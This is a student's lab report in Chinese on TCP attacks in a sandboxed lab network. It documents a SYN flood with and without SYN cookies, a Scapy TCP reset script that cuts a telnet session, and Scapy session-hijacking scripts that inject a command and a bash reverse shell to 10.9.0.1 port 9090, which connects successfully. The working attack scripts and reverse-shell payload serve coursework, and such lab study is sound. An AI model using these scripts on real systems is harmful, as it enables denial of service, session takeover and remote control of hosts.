LAB2 TCP_ATTACK

57118219 贾志豪

Task1

关闭 cookie 服务

```
[07/10/21]seed@VM:~/Desktop$ sudo su
root@VM:/home/seed/Desktop# sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0 _
```

被攻击主机（攻击前网络连接状态）

```
root@f50149feb0a4:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:42869        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
```

在攻击者主机上运行攻击程序

```
root@VM:/volumes# synflood 10.9.0.5 23
```

再次查看被攻击主机网络连接状态（明显增多）

```
root@f50149feb0a4:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:42869        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             148.58.86.99:26663      SYN_RECV
tcp        0      0 10.9.0.5:23             83.10.245.29:46166      SYN_RECV
tcp        0      0 10.9.0.5:23             100.234.71.21:7142      SYN_RECV
tcp        0      0 10.9.0.5:23             44.252.104.5:14087      SYN_RECV
tcp        0      0 10.9.0.5:23             62.177.179.62:62631     SYN_RECV
tcp        0      0 10.9.0.5:23             22.157.97.122:879       SYN_RECV
tcp        0      0 10.9.0.5:23             223.188.133.54:23145    SYN_RECV
tcp        0      0 10.9.0.5:23             157.83.45.76:52348      SYN_RECV
tcp        0      0 10.9.0.5:23             3.157.61.15:17397       SYN_RECV
tcp        0      0 10.9.0.5:23             165.87.149.44:55223     SYN_RECV
tcp        0      0 10.9.0.5:23             111.189.112.64:3576     SYN_RECV
tcp        0      0 10.9.0.5:23             32.248.221.92:14544     SYN_RECV
tcp        0      0 10.9.0.5:23             111.14.185.63:56125     SYN_RECV
tcp        0      0 10.9.0.5:23             5.208.4.99:62967        SYN_RECV
tcp        0      0 10.9.0.5:23             118.169.47.104:34619    SYN_RECV
tcp        0      0 10.9.0.5:23             69.145.114.93:45358     SYN_RECV
tcp        0      0 10.9.0.5:23             108.157.252.110:23918   SYN_RECV
```

开启攻击后其他主机 telnet 被攻击主机，访问失败

```
root@b32d686042cf:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
```

开启 cookie 服务

```
root@3efb2bf8c760:/# sysctl -a | grep syncookies
net.ipv4.tcp_syncookies = 1
```

被攻击前

```
root@3efb2bf8c760:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:35481        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
```

开始攻击

```
root@VM:/volumes# synflood 10.9.0.5 23
```

被攻击后，网络连接仍然变多

```
root@3efb2bf8c760:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:35481        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             219.136.150.11:42318    SYN_RECV
tcp        0      0 10.9.0.5:23             147.237.216.48:2732     SYN_RECV
tcp        0      0 10.9.0.5:23             247.167.213.76:49939    SYN_RECV
tcp        0      0 10.9.0.5:23             60.233.2.73:22431       SYN_RECV
tcp        0      0 10.9.0.5:23             74.215.158.87:27064     SYN_RECV
tcp        0      0 10.9.0.5:23             138.226.27.123:59665    SYN_RECV
tcp        0      0 10.9.0.5:23             187.39.173.62:48627     SYN_RECV
tcp        0      0 10.9.0.5:23             203.159.123.126:28727   SYN_RECV
tcp        0      0 10.9.0.5:23             156.1.36.48:966         SYN_RECV
tcp        0      0 10.9.0.5:23             135.227.99.113:56687    SYN_RECV
tcp        0      0 10.9.0.5:23             132.109.114.113:4483    SYN_RECV
tcp        0      0 10.9.0.5:23             118.148.105.106:23011   SYN_RECV
tcp        0      0 10.9.0.5:23             202.145.247.4:59220     SYN_RECV
tcp        0      0 10.9.0.5:23             85.63.19.23:16089       SYN_RECV
tcp        0      0 10.9.0.5:23             184.2.23.48:28954       SYN_RECV
tcp        0      0 10.9.0.5:23             20.205.4.30:61103       SYN_RECV
tcp        0      0 10.9.0.5:23             7.127.41.95:58504       SYN_RECV
tcp        0      0 10.9.0.5:23             254.6.149.21:29778      SYN RECV
```

但 telnet 可以连接上

```
root@0af266fc762f:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
3efb2bf8c760 login:
```

TASK2

通过 10.9.0.6 telnet 10.9.0.7 建立连接

```
588a45a66718 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

seed@588a45a66718:~$
```

能够进行正常访问

```
seed@588a45a66718:~$ ls -all
total 28
drwxr-xr-x 1 seed seed 4096 Jul 10 07:01 .
drwxr-xr-x 1 root root 4096 Nov 26  2020 ..
-rw-r--r-- 1 seed seed  220 Feb 25  2020 .bash_logout
-rw-rw-r-- 1 root root  160 Nov 26  2020 .bashrc
drwx------ 2 seed seed 4096 Jul 10 07:01 .cache
-rw-r--r-- 1 seed seed  807 Feb 25  2020 .profile
seed@588a45a66718:~$
```

攻击程序如下

```
1 from scapy.all import *
2
3 def Rset(pkt):
4     pkt.show()
5
6     print("SENDING RESET PACKET ......")
7     ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
8     tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="R",
  seq=pkt[TCP].seq,ack=pkt[TCP].ack)
9     p = ip/tcp
10    ls(p)
11    send(p,verbose=0)
12
13 pkt = sniff(iface='br-8dacaffc0dfc', filter='tcp and src net
  10.9.0.6', prn=Rset)
```

攻击程序通过 sniff 抓取的数据包

```
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:07
  src       = 02:42:3d:f5:d2:ad
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 40
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x66b1
     src       = 10.9.0.6
     dst       = 10.9.0.7
     \options   \
###[ TCP ]###
        sport     = 51500
        dport     = telnet
        seq       = 4057097254
        ack       = 2074015680
        dataofs   = 5
```

构造 RSET 报文

```
SENDING RESET PACKET ......
version    : BitField  (4 bits)                = 4               (4)
ihl        : BitField  (4 bits)                = None            (None)
tos        : XByteField                        = 0               (0)
len        : ShortField                        = None            (None)
id         : ShortField                        = 1               (1)
flags      : FlagsField  (3 bits)              = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)               = 0               (0)
ttl        : ByteField                         = 64              (64)
proto      : ByteEnumField                     = 6               (0)
chksum     : XShortField                       = None            (None)
src        : SourceIPField                     = '10.9.0.6'      (None)
dst        : DestIPField                       = '10.9.0.7'      (None)
options    : PacketListField                   = []              ([])
--
sport      : ShortEnumField                    = 51500           (20)
dport      : ShortEnumField                    = 23              (80)
seq        : IntField                          = 4057097255      (0)
ack        : IntField                          = 2074015681      (0)
dataofs    : BitField  (4 bits)                = None            (None)
reserved   : BitField  (3 bits)                = 0               (0)
flags      : FlagsField  (9 bits)              = <Flag 4 (R)>    (<Flag 2 (S)>)
window     : ShortField                        = 8192            (8192)
chksum     : XShortField                       = None            (None)
urgptr     : ShortField                        = 0               (0)
options    : TCPOptionsField                   = []              (b'')
```

发起攻击后连接中断

```
seed@588a45a66718:~$ lConnection closed by foreign host.
root@f46081494a74:/#
```

Task3

Hijacking 程序如下：

```
from scapy.all import *

def Rset(pkt):
    pkt.show()

    print("SENDING SESSION HIJACKING PACKET ......")
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="A",
seq=pkt[TCP].ack+10,ack=pkt[TCP].seq+1)
    data="\r touch /home/seed/test.txt \r"
    p = ip/tcp/data
    ls(p)
    send(p,verbose=0)

pkt = sniff(iface='br-a8789ebc03fe', filter='tcp and src net
10.9.0.5', prn=Rset)
```

建立 telnet 连接

```
root@4ec4442c7d63:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
623e65a12e2f login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 10 08:43:34 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts
/3
seed@623e65a12e2f:~$
```

开始攻击，攻击后，telnet 无法正常运行输入指令

以下为获取到的 telnet 连接数据包及构造的攻击报文：

```
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:06
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x10
     len       = 72
     id        = 17323
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0xe2d8
     src       = 10.9.0.5
     dst       = 10.9.0.6
     \options   \
###[ TCP ]###
        sport     = telnet
        dport     = 40478
        seq       = 1268499936
```

```
SENDING SESSION HIJACKING PACKET ......
version    : BitField  (4 bits)                = 4               (4)
ihl        : BitField  (4 bits)                = None            (None)
tos        : XByteField                        = 0               (0)
len        : ShortField                        = None            (None)
id         : ShortField                        = 1               (1)
flags      : FlagsField  (3 bits)              = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)               = 0               (0)
ttl        : ByteField                         = 64              (64)
proto      : ByteEnumField                     = 6               (0)
chksum     : XShortField                       = None            (None)
src        : SourceIPField                     = '10.9.0.6'      (None)
dst        : DestIPField                       = '10.9.0.5'      (None)
options    : PacketListField                   = []              ([])
--
sport      : ShortEnumField                    = 40478           (20)
dport      : ShortEnumField                    = 23              (80)
seq        : IntField                          = 3731758242      (0)
ack        : IntField                          = 1268499937      (0)
dataofs    : BitField  (4 bits)                = None            (None)
reserved   : BitField  (3 bits)                = 0               (0)
flags      : FlagsField  (9 bits)              = <Flag 16 (A)>   (<Flag 2 (S)>)
window     : ShortField                        = 8192            (8192)
chksum     : XShortField                       = None            (None)
urgptr     : ShortField                        = 0               (0)
options    : TCPOptionsField                   = []              (b'')
--

load       : StrField                          = b'\r touch /home/seed/test.txt \r' (b
'')
```

Task4

在 10.9.0.6 与 10.9.0.5 之间建立 telnet

```
root@4ec4442c7d63:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
623e65a12e2f login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 10 08:51:40 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts
/4
seed@623e65a12e2f:~$
```

程序代码如下：

```python
from scapy.all import *

def Rset(pkt):
        pkt.show()
        print("SENDING SESSION HIJACKING PACKET ......")
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
flags="A", seq=pkt[TCP].ack+10,ack=pkt[TCP].seq+1)
        data="\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
        p = ip/tcp/data
        ls(p)
        send(p,verbose=0)

pkt = sniff(iface='br-a8789ebc03fe', filter='tcp and src net
10.9.0.5', prn=Rset)
```

接收到的报文：

```
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:06
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x10
     len       = 72
     id        = 31316
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0xac2f
     src       = 10.9.0.5
     dst       = 10.9.0.6
     \options   \
###[ TCP ]###
        sport     = telnet
        dport     = 40486
        seq       = 3629610387
        ack       = 3348906008
        dataofs   = 13
        reserved  = 0
        flags     = A
        window    = 509
        chksum    = 0x1457
```

发送的报文：

```
version    : BitField  (4 bits)                = 4               (4)
ihl        : BitField  (4 bits)                = None            (None)
tos        : XByteField                        = 0               (0)
len        : ShortField                        = None            (None)
id         : ShortField                        = 1               (1)
flags      : FlagsField  (3 bits)              = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)               = 0               (0)
ttl        : ByteField                         = 64              (64)
proto      : ByteEnumField                     = 6               (0)
chksum     : XShortField                       = None            (None)
src        : SourceIPField                     = '10.9.0.6'      (None)
dst        : DestIPField                       = '10.9.0.5'      (None)
options    : PacketListField                   = []              ([])
--
sport      : ShortEnumField                    = 40486           (20)
dport      : ShortEnumField                    = 23              (80)
seq        : IntField                          = 3348906018      (0)
ack        : IntField                          = 3629610388      (0)
dataofs    : BitField  (4 bits)                = None            (None)
reserved   : BitField  (3 bits)                = 0               (0)
flags      : FlagsField  (9 bits)              = <Flag 16 (A)>   (<Flag 2 (S)>)
window     : ShortField                        = 8192            (8192)
chksum     : XShortField                       = None            (None)
urgptr     : ShortField                        = 0               (0)
options    : TCPOptionsField                   = []              (b'')
--
load       : StrField                          = b'\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1
2>&1 \r' (b'')
```

Reverse shell 成功

```
root@VM:/# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 59856
seed@623e65a12e2f:~$
```